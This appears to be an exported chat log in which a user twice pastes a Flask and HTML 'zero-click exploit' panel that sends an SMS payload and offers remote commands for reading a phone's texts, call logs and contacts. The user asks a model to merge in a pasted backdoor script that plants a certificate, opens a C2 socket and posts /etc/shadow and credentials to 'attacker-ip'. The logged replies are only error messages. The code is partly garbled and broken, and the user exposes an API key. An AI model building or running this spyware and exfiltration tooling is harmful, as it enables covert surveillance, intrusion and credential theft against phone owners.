        <button class="btn btn-secondary btn-block"
onclick="sendCommand('clear_logs')">Clear Logs</button>
    </div>
</div>

```

```

    <!-- Bootstrap JS and dependencies -->
    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></
script>
    <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.4/
dist/umd/popper.min.js"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/
js/bootstrap.min.js"></script>

```

```

    <script>
        document.getElementById('smsForm').addEventListener('submit',
function(event) {
            event.preventDefault();
            const phoneNumber =
document.getElementById('phoneNumber').value;
            fetch('/send_sms', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({ phoneNumber: phoneNumber })
            })
            .then(response => response.json())
            .then(data => {
                const notification =
document.getElementById('notification');
                notification.style.display = 'block';
            })
        })
    </script>

```

```

        notification.textContent = data.message;
        notification.className = data.success ? 'notification
alert alert-success' : 'notification alert alert-danger';

        if (data.success) {
            fetch('/get_device_info', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({ phoneNumber:
phoneNumber })
            })
            .then(response => response.json())
            .then(deviceData => {
                document.getElementById('ip').textContent =
deviceData.ip;
                document.getElementById('os').textContent =
deviceData.os;
                document.getElementById('location').textContent = deviceData.location;
                document.getElementById('deviceInfo').style.display = 'block';
                document.getElementById('controlPanel').style.display = 'block';
            });
        }
    });

    function sendCommand(command) {
        const phoneNumber =
document.getElementById('phoneNumber').value;
        fetch('/send_command', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({ phoneNumber: phoneNumber,
command: command })
        })
        .then(response => response.json())
        .then(data => {
            alert(data.message);
        });
    }
}
</script>
</body>
</html>

```

Backend Server (App.py)

```
from flask import Flask, request, jsonify
import requests
import sqlite3

app = Flask(__name__)

def send_sms(to_phone_number, message):
    url = 'https://textbelt.com/text'
    data = {
        'phone': to_phone_number,
        'message': message,
        'key': 'textbelt'
    }
    try:
        response = requests.post(url, data=data)
        response.raise_for_status()
        return response.json()
    except requests.RequestException as e:
        return {'success': False, 'message': str(e)}

def store_device_info(device_info):
    conn = sqlite3.connect('device_info.db')
    c = conn.cursor()
    c.execute('''CREATE TABLE IF NOT EXISTS devices
                (ip TEXT, os TEXT, location TEXT)''')
    c.execute("INSERT INTO devices (ip, os, location) VALUES
    (?, ?, ?)",
              (device_info['ip'], device_info['os'],
               device_info['location']))
    conn.commit()
    conn.close()

@app.route('/send_sms', methods=['POST'])
def send_sms_route():
    data = request.get_json()
    phone_number = data.get('phoneNumber')
    payload = b"\x90" * 512 + b"\x31\xDB\x53\x43\x41\x50\x54"
    message = payload.decode('latin1')
    result = send_sms(phone_number, message)
    if result.get('success'):
        return jsonify({'message': 'Payload sent successfully!',
                        'success': True})
    else:
        return jsonify({'message': 'Failed to send payload.',
                        'success': False})

@app.route('/get_device_info', methods=['POST'])
def get_device_info():
```

```

data = request.get_json()
phone_number = data.get('phoneNumber')
# Simulate fetching device information
device_info = {
    'ip': '192.168.0.100',
    'os': 'Android 10',
    'location': 'Boone, NC, USA'
}
store_device_info(device_info)
return jsonify(device_info)

@app.route('/send_command', methods=['POST'])
def send_command():
    data = request.get_json()
    phone_number = data.get('phoneNumber')
    command = data.get('command')
    # Simulate sending a command to the device
    command_responses = {
        'reboot': 'Device is rebooting...',
        'shutdown': 'Device is shutting down...',
        'get_info': 'Fetching device info...',
        'send_text': 'Sending text message...',
        'make_call': 'Making a call...',
        'view_call_log': 'Viewing call log...',
        'view_text_messages': 'Viewing text messages...',
        'listen_voicemails': 'Listening to voicemails...',
        'view_installed_apps': 'Viewing installed apps...',
        'view_app_usage': 'Viewing app usage...',
        'view_contacts': 'Viewing contacts...',
        'download_sms': 'Downloading SMS messages...',
        'download_call_log': 'Downloading call log...',
        'download_contacts': 'Downloading contacts...',
        'download_app_list': 'Downloading app list...',
        'download_phone_usage': 'Downloading phone usage...',
        'view_processes': 'Viewing processes...',
        'device_console': 'Accessing device console...',
        'clear_logs': 'Clearing logs...'
    }
    message = command_responses.get(command, 'Unknown command.')
    return jsonify({'message': message})

if __name__ == '__main__':
    app.run(debug=True)

```

README.md

This project provides a web interface to send a payload via SMS, display device information upon successful delivery, and control the device using various commands.

Features

- Send payload via SMS
- Display device information
- Control device:
 - * reboot
 - * shutdown
 - * send text
 - * make call
 - * view call log
 - * view text messages
 - * listen to voicemails
 - * view installed apps
 - * view app usage
 - * view contacts
 - * download SMS messages
 - * download call log
 - * download contacts
 - * download app list
 - * download phone usage
 - * view processes
 - * access device console
 - * clear logs

Prerequisites

- Python 3.x
- Flask
- requests
- sqlite3

Installation

Clone the repository:

```
git clone https://github.com/projectzeroday/iOS-Zero-Click-Exploit-Deploy-And-Control-Web-Panel
```

Change Directories:

```
cd iOS-Zero-Click-Exploit-Deploy-And-Control-Web-Panel
```

Install the required Python packages:

```
pip install Flask requests sqlite3
```

Create a bash script to install dependencies:

```
echo '#!/bin/bash' > install_dependencies.sh
echo 'pip install Flask requests sqlite3' >> install_dependencies.sh
chmod +x install_dependencies.sh
```

Create a bash script to launch the web panel:

```
echo '#!/bin/bash' > launch_web_panel.sh
echo 'python app.py &' >> launch_web_panel.sh
echo 'sleep 2' >> launch_web_panel.sh
echo 'xdg-open http://127.0.0.1:5000' >> launch_web_panel.sh
chmod +x launch_web_panel.sh
```

Usage

1. Run the installation script: `./install_dependencies.sh`
2. Run the launch script: `./launch_web_panel.sh`
3. Open `index.html` in a web browser.
4. Use the form to input a phone number and send the payload.
5. Upon successful delivery, the web panel will auto-populate with the device information and provide control options for various commands.

1. API Key for Free Text Service

- * You can get the API key for the free text service from Textbelt.
- * Replace 'textbelt' in the `send_sms` function with your actual API key.

2. File Structure

- * `index.html`:
 - * The HTML file for the web interface.
- * `app.py`:
 - * The backend server code using Flask.
- * `install_dependencies.sh`:
 - * Bash script to install dependencies.
- * `launch_web_panel.sh`:
 - * Bash script to launch the web panel.
- * License:
 - * This project is licensed under the MIT License

File Directory Tree

```
iOS-Zero-Click-Exploit-Deploy-And-Control-Web-Panel/
├── index.html
├── app.py
├── install_dependencies.sh
└── launch_web_panel.sh
```

This setup provides a comprehensive web interface to input a phone number, send a payload via SMS, display device information upon successful delivery, and control the device using various commands.

The backend server handles the SMS sending, fetching of device information, and command execution. The integration of Bootstrap and custom styles makes the web panel modern and visually appealing.

The README.md file provides detailed instructions on how to set up and use the project, including prerequisites, installation steps, usage, and file structure.

Prompt:

4. Replace the textbelt placeholder with my API key:
6c6ba6cbbbed7e162c975b3d2f8b0b391f8c5f97aQeDibGwKd8KbMQiMV1DSuUkaW
2. Create the option to send either exploit to the target.
3. Add the code to the current framework and return the updated source code
4. Review for errors and generate an updated version with a complete readme.md file to add to the project with in-depth, detailed, and comprehensive instructions on how to use it.

The exploit code is:

```
import os
import getpass
import socket
import shutil
import time
import zlib
import subprocess
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend

# Define constants
APPLE_CERT_FILE = "./apple-cert.cer"
TARGET_IP_ADDRESS = "192.168.1.100"
PRIVATE_KEY_PATH = "./private-key.pem"

def generate_private_key():
    """Generate a private key for signing the backdoored certificate."""
    print("Generating private key...")
    key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    with open(PRIVATE_KEY_PATH, "wb") as f:
        f.write(key.private_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PrivateFormat.TraditionalOpenSSL,
            encryption_algorithm=serialization.NoEncryption()
        ))
```

```

    return key

def sign_backdoored_certificate(private_key):
    """Sign the backdoored certificate using the generated private
    key."""
    print("Signing backdoored certificate...")
    with open(PRIVATE_KEY_PATH, "rb") as f:
        signed_cert = private_key.sign(

bytes.fromhex("308201220282021402010000304502203c8a37e1b5d0a6f0a9ccfb3
f6f7ae7ad0c4ab2cb31590136f0b55ed5e81bb4c06f0dd5be04cfb0ef0a09db5e81bb4
c06f0dd5be04cfb0ef0a09db5e815c7ff1e0812c9d86e341402d6f74ceaf8eb73c4e0c
c6f3fde37fe5ad87d71a7ecfca7ee8df84aa7eab7e6cfb68bfc89edc6f1b0ba2bb4ea5
4880"),
            padding.PKCS1v15(),
            default_backend()
        )

def inject_backdoored_certificate():
    print("Injecting backdoored certificate...")
    subprocess.run(["ssltool", "-i", APPLE_CERT_FILE, f"-t
{TARGET_IP_ADDRESS}"])

def obfuscation_of_code():
    print("Backdoor activated!")
    compressed_code = zlib.compress(b"""
(rest of the code)
exec(zlib.decompress(compressed_code).decode())
""")

def create_persistent_backdoor():
    with open(APPLE_CERT_FILE, "rb") as f:
        backdoored_cert_data = f.read()
    cert_path = "/etc/ssl/certs/apple-cert.cer"
    if os.path.isfile(cert_path):
        os.remove(cert_path)
    with open(cert_path, "wb") as f:
        f.write(backdoored_cert_data)

create_persistent_backdoor()

def establish_c2_connection():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("attacker-ip", 12345))
    while True:
        data = s.recv(1024).decode()
        if not data:
            break
        print(data)

```

```

establish_c2_connection()

def exfiltrate_files():
    files_to_exfiltrate = ["/etc/passwd", "/etc/shadow"]
    for file in files_to_exfiltrate:
        with open(file, "rb") as f:
            file_data = f.read()
            r = requests.post("http://attacker-ip:8080/exfiltrate",
data=file_data)
            print(r.status_code)

exfiltrate_files()

def harvest_credentials():
    username = input("Enter username: ")
    password = getpass.getpass("Enter password: ")
    payload = f"username={username}&password={password}"
    r = requests.post("http://attacker-ip:8080/credentials",
data=payload)
    print(r.status_code)

harvest_credentials()

# Run the exploit
generate_private_key()
sign_backdoored_certificate()
generate_private_key()
obfuscation_of_code()
inject_backdoored_certificate()
create_persistent_backdoor()
establish_c2_connection()
exfiltrate_files()
harvest_credentials()

if __name__ == "__main__":
    main()
this would be a custom addon to a previous project we built together
not long ago.

```

10/5/2024, 6:14:58 PM – User:

An error occurred communicating with the Nous Theta 8B model. Please try again or try another model.

10/5/2024, 6:46:49 PM – User:

iOS-Zero-Click-Exploit-Deploy-And-Control-Web-Panel

Front End (Index.html)

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-
scale=1.0">
  <title>SMS Payload Sender</title>
  <!-- Bootstrap CSS -->
  <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/
css/bootstrap.min.css" rel="stylesheet">
  <style>
    body {
      font-family: Arial, sans-serif;
      margin: 20px;
    }
    .container {
      max-width: 600px;
      margin: auto;
    }
    .notification, .device-info, .control-panel {
      margin-top: 20px;
      padding: 10px;
      border: 1px solid #ccc;
      display: none;
    }
    .notification {
      border-radius: 5px;
    }
    .device-info, .control-panel {
      border-radius: 5px;
      background-color: #f9f9f9;
    }
    .control-panel button {
      margin: 5px 0;
    }
  </style>
</head>
<body>
  <div class="container">
    <h1 class="text-center">Send Payload via SMS</h1>
    <form id="smsForm" class="mt-4">
      <div class="form-group">
        <label for="phoneNumber">Phone Number:</label>
        <input type="text" class="form-control"
id="phoneNumber" name="phoneNumber" required>
      </div>
```

```

        <button type="submit" class="btn btn-primary btn-
block">Send Payload</button>
    </form>
    <div id="notification" class="notification alert"></div>
    <div id="deviceInfo" class="device-info p-3">
        <h2>Device Information</h2>
        <p><strong>IP Address:</strong> <span id="ip"></span></p>
        <p><strong>OS:</strong> <span id="os"></span></p>
        <p><strong>Location:</strong> <span id="location"></
span></p>
    </div>
    <div id="controlPanel" class="control-panel p-3">
        <h2>Control Panel</h2>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('reboot')">Reboot Device</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('shutdown')">Shutdown Device</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('get_info')">Get Device Info</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('send_text')">Send Text</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('make_call')">Make Call</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('view_call_log')">View Call Log</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('view_text_messages')">View Text Messages</
button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('listen_voicemails')">Listen to Voicemails</
button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('view_installed_apps')">View Installed Apps</
button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('view_app_usage')">View App Usage</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('view_contacts')">View Contacts</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('download_sms')">Download SMS Messages</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('download_call_log')">Download Call Log</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('download_contacts')">Download Contacts</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('download_app_list')">Download App List</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('download_phone_usage')">Download Phone Usage</
button>
        <button class="btn btn-secondary btn-block"

```

```

onclick="sendCommand('view_processes')">View Processes</button>
    <button class="btn btn-secondary btn-block"
onclick="sendCommand('device_console')">Device Console</button>
    <button class="btn btn-secondary btn-block"
onclick="sendCommand('clear_logs')">Clear Logs</button>
    </div>
</div>

<!-- Bootstrap JS and dependencies -->
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.4/dist/umd/popper.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>

<script>
    document.getElementById('smsForm').addEventListener('submit',
function(event) {
    event.preventDefault();
    const phoneNumber =
document.getElementById('phoneNumber').value;
    fetch('/send_sms', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({ phoneNumber: phoneNumber })
    })
    .then(response => response.json())
    .then(data => {
        const notification =
document.getElementById('notification');
        notification.style.display = 'block';
        notification.textContent = data.message;
        notification.className = data.success ? 'notification
alert alert-success' : 'notification alert alert-danger';

        if (data.success) {
            fetch('/get_device_info', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({ phoneNumber:
phoneNumber })
            })
            .then(response => response.json())
            .then(deviceData => {
                document.getElementById('ip').textContent =

```



```

deviceData.ip;
                                document.getElementById('os').textContent =
deviceData.os;

document.getElementById('location').textContent = deviceData.location;
document.getElementById('deviceInfo').style.display = 'block';
document.getElementById('controlPanel').style.display = 'block';
                                });
                                }
                                });
});

function sendCommand(command) {
    const phoneNumber =
document.getElementById('phoneNumber').value;
    fetch('/send_command', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({ phoneNumber: phoneNumber,
command: command })
    })
        .then(response => response.json())
        .then(data => {
            alert(data.message);
        });
}
</script>
</body>
</html>

```

Backend Server (App.py)

```

from flask import Flask, request, jsonify
import requests
import sqlite3

app = Flask(__name__)

def send_sms(to_phone_number, message):
    url = 'https://textbelt.com/text'
    data = {
        'phone': to_phone_number,
        'message': message,
        'key': 'textbelt'
    }
    try:

```

```

        response = requests.post(url, data=data)
        response.raise_for_status()
        return response.json()
    except requests.RequestException as e:
        return {'success': False, 'message': str(e)}

def store_device_info(device_info):
    conn = sqlite3.connect('device_info.db')
    c = conn.cursor()
    c.execute('''CREATE TABLE IF NOT EXISTS devices
                (ip TEXT, os TEXT, location TEXT)''')
    c.execute("INSERT INTO devices (ip, os, location) VALUES
    (?, ?, ?)",
              (device_info['ip'], device_info['os'],
               device_info['location']))
    conn.commit()
    conn.close()

@app.route('/send_sms', methods=['POST'])
def send_sms_route():
    data = request.get_json()
    phone_number = data.get('phoneNumber')
    payload = b"\x90" * 512 + b"\x31\xDB\x53\x43\x41\x50\x54"
    message = payload.decode('latin1')
    result = send_sms(phone_number, message)
    if result.get('success'):
        return jsonify({'message': 'Payload sent successfully!',
                        'success': True})
    else:
        return jsonify({'message': 'Failed to send payload.',
                        'success': False})

@app.route('/get_device_info', methods=['POST'])
def get_device_info():
    data = request.get_json()
    phone_number = data.get('phoneNumber')
    # Simulate fetching device information
    device_info = {
        'ip': '192.168.0.100',
        'os': 'Android 10',
        'location': 'Boone, NC, USA'
    }
    store_device_info(device_info)
    return jsonify(device_info)

@app.route('/send_command', methods=['POST'])
def send_command():
    data = request.get_json()
    phone_number = data.get('phoneNumber')
    command = data.get('command')

```

```

# Simulate sending a command to the device
command_responses = {
    'reboot': 'Device is rebooting...',
    'shutdown': 'Device is shutting down...',
    'get_info': 'Fetching device info...',
    'send_text': 'Sending text message...',
    'make_call': 'Making a call...',
    'view_call_log': 'Viewing call log...',
    'view_text_messages': 'Viewing text messages...',
    'listen_voicemails': 'Listening to voicemails...',
    'view_installed_apps': 'Viewing installed apps...',
    'view_app_usage': 'Viewing app usage...',
    'view_contacts': 'Viewing contacts...',
    'download_sms': 'Downloading SMS messages...',
    'download_call_log': 'Downloading call log...',
    'download_contacts': 'Downloading contacts...',
    'download_app_list': 'Downloading app list...',
    'download_phone_usage': 'Downloading phone usage...',
    'view_processes': 'Viewing processes...',
    'device_console': 'Accessing device console...',
    'clear_logs': 'Clearing logs...'
}
message = command_responses.get(command, 'Unknown command.')
return jsonify({'message': message})

if __name__ == '__main__':
    app.run(debug=True)

```

README.md

This project provides a web interface to send a payload via SMS, display device information upon successful delivery, and control the device using various commands.

Features

- Send payload via SMS
- Display device information
- Control device:
 - * reboot
 - * shutdown
 - * send text
 - * make call
 - * view call log
 - * view text messages
 - * listen to voicemails
 - * view installed apps
 - * view app usage
 - * view contacts
 - * download SMS messages

- * download call log
- * download contacts
- * download app list
- * download phone usage
- * view processes
- * access device console
- * clear logs

Prerequisites

- Python 3.x
- Flask
- requests
- sqlite3

Installation

Clone the repository:

```
git clone https://github.com/projectzeroday/iOS-Zero-Click-Exploit-Deploy-And-Control-Web-Panel
```

Change Directories:

```
cd iOS-Zero-Click-Exploit-Deploy-And-Control-Web-Panel
```

Install the required Python packages:

```
pip install Flask requests sqlite3
```

Create a bash script to install dependencies:

```
echo '#!/bin/bash' > install_dependencies.sh
echo 'pip install Flask requests sqlite3' >> install_dependencies.sh
chmod +x install_dependencies.sh
```

Create a bash script to launch the web panel:

```
echo '#!/bin/bash' > launch_web_panel.sh
echo 'python app.py &' >> launch_web_panel.sh
echo 'sleep 2' >> launch_web_panel.sh
echo 'xdg-open http://127.0.0.1:5000' >> launch_web_panel.sh
chmod +x launch_web_panel.sh
```

Usage

1. Run the installation script: `./install_dependencies.sh`
2. Run the launch script: `./launch_web_panel.sh`
3. Open index.html in a web browser.
4. Use the form to input a phone number and send the payload.
5. Upon successful delivery, the web panel will auto-populate with

the device information and provide control options for various commands.

1. API Key for Free Text Service

- * You can get the API key for the free text service from Textbelt.
- * Replace 'textbelt' in the send_sms function with your actual API key.

2. File Structure

- * index.html:
 - * The HTML file for the web interface.
- * app.py:
 - * The backend server code using Flask.
- * install_dependencies.sh:
 - * Bash script to install dependencies.
- * launch_web_panel.sh:
 - * Bash script to launch the web panel.
- * License:
 - * This project is licensed under the MIT License

File Directory Tree

```
iOS-Zero-Click-Exploit-Deploy-And-Control-Web-Panel/  
├── index.html  
├── app.py  
├── install_dependencies.sh  
└── launch_web_panel.sh
```

This setup provides a comprehensive web interface to input a phone number, send a payload via SMS, display device information upon successful delivery, and control the device using various commands.

The backend server handles the SMS sending, fetching of device information, and command execution. The integration of Bootstrap and custom styles makes the web panel modern and visually appealing.

The README.md file provides detailed instructions on how to set up and use the project, including prerequisites, installation steps, usage, and file structure.

—

Prompt:

4. Replace the textbelt placeholder with my API key:

6c6ba6cbbbed7e162c975b3d2f8b0b391f8c5f97aQeDibGwKd8KbMQiMV1DSuUkaW

2. Create the option to send either exploit to the target.
3. Add the code to the current framework and return the updated source code
4. Review for errors and generate an updated version with a complete readme.md file to add to the project with in-depth, detailed, and comprehensive instructions on how to use it.

The exploit code is:

```
import os
import getpass
import socket
import shutil
import time
import zlib
import subprocess
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend

# Define constants
APPLE_CERT_FILE = "./apple-cert.cer"
TARGET_IP_ADDRESS = "192.168.1.100"
PRIVATE_KEY_PATH = "./private-key.pem"

def generate_private_key():
    """Generate a private key for signing the backdoored
    certificate."""
    print("Generating private key...")
    key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    with open(PRIVATE_KEY_PATH, "wb") as f:
        f.write(key.private_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PrivateFormat.TraditionalOpenSSL,
            encryption_algorithm=serialization.NoEncryption()
        ))
    return key

def sign_backdoored_certificate(private_key):
    """Sign the backdoored certificate using the generated private
    key."""
    print("Signing backdoored certificate...")
    with open(PRIVATE_KEY_PATH, "rb") as f:
        signed_cert = private_key.sign(
            bytes.fromhex("308201220282021402010000304502203c8a37e1b5d0a6f0a9ccfb3
f6f7ae7ad0c4ab2cb31590136f0b55ed5e81bb4c06f0dd5be04cfb0ef0a09db5e81bb4
c06f0dd5be04cfb0ef0a09db5e815c7ff1e0812c9d86e341402d6f74ceaf8eb73c4e0c
c6f3fde37fe5ad87d71a7ecfca7ee8df84aa7eab7e6cfb68bfc89edc6f1b0ba2bb4ea5
4880"),
            padding.PKCS1v15(),
            default_backend()
        )
```

```

    )

def inject_backdoored_certificate():
    print("Injecting backdoored certificate...")
    subprocess.run(["ssltool", "-i", APPLE_CERT_FILE, f"-t {TARGET_IP_ADDRESS}"])

def obfuscation_of_code():
    print("Backdoor activated!")
    compressed_code = zlib.compress(b"""
(rest of the code)
exec(zlib.decompress(compressed_code).decode())
""")

def create_persistent_backdoor():
    with open(APPLE_CERT_FILE, "rb") as f:
        backdoored_cert_data = f.read()
    cert_path = "/etc/ssl/certs/apple-cert.cer"
    if os.path.isfile(cert_path):
        os.remove(cert_path)
    with open(cert_path, "wb") as f:
        f.write(backdoored_cert_data)

create_persistent_backdoor()

def establish_c2_connection():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("attacker-ip", 12345))
    while True:
        data = s.recv(1024).decode()
        if not data:
            break
        print(data)

establish_c2_connection()

def exfiltrate_files():
    files_to_exfiltrate = ["/etc/passwd", "/etc/shadow"]
    for file in files_to_exfiltrate:
        with open(file, "rb") as f:
            file_data = f.read()
        r = requests.post("http://attacker-ip:8080/exfiltrate",
data=file_data)
        print(r.status_code)

exfiltrate_files()

def harvest_credentials():
    username = input("Enter username: ")
    password = getpass.getpass("Enter password: ")

```

```
    payload = f"username={username}&password={password}"
    r = requests.post("http://attacker-ip:8080/credentials",
data=payload)
    print(r.status_code)

harvest_credentials()

# Run the exploit
generate_private_key()
sign_backdoored_certificate()
generate_private_key()
obfuscation_of_code()
inject_backdoored_certificate()
create_persistent_backdoor()
establish_c2_connection()
exfiltrate_files()
harvest_credentials()

if __name__ == "__main__":
    main()
this would be a custom addon to a previous project we built together
not long ago.
```

10/5/2024, 6:46:50 PM – User:

An error occurred communicating with the Nous Theta 8B model. Please try again or try another model.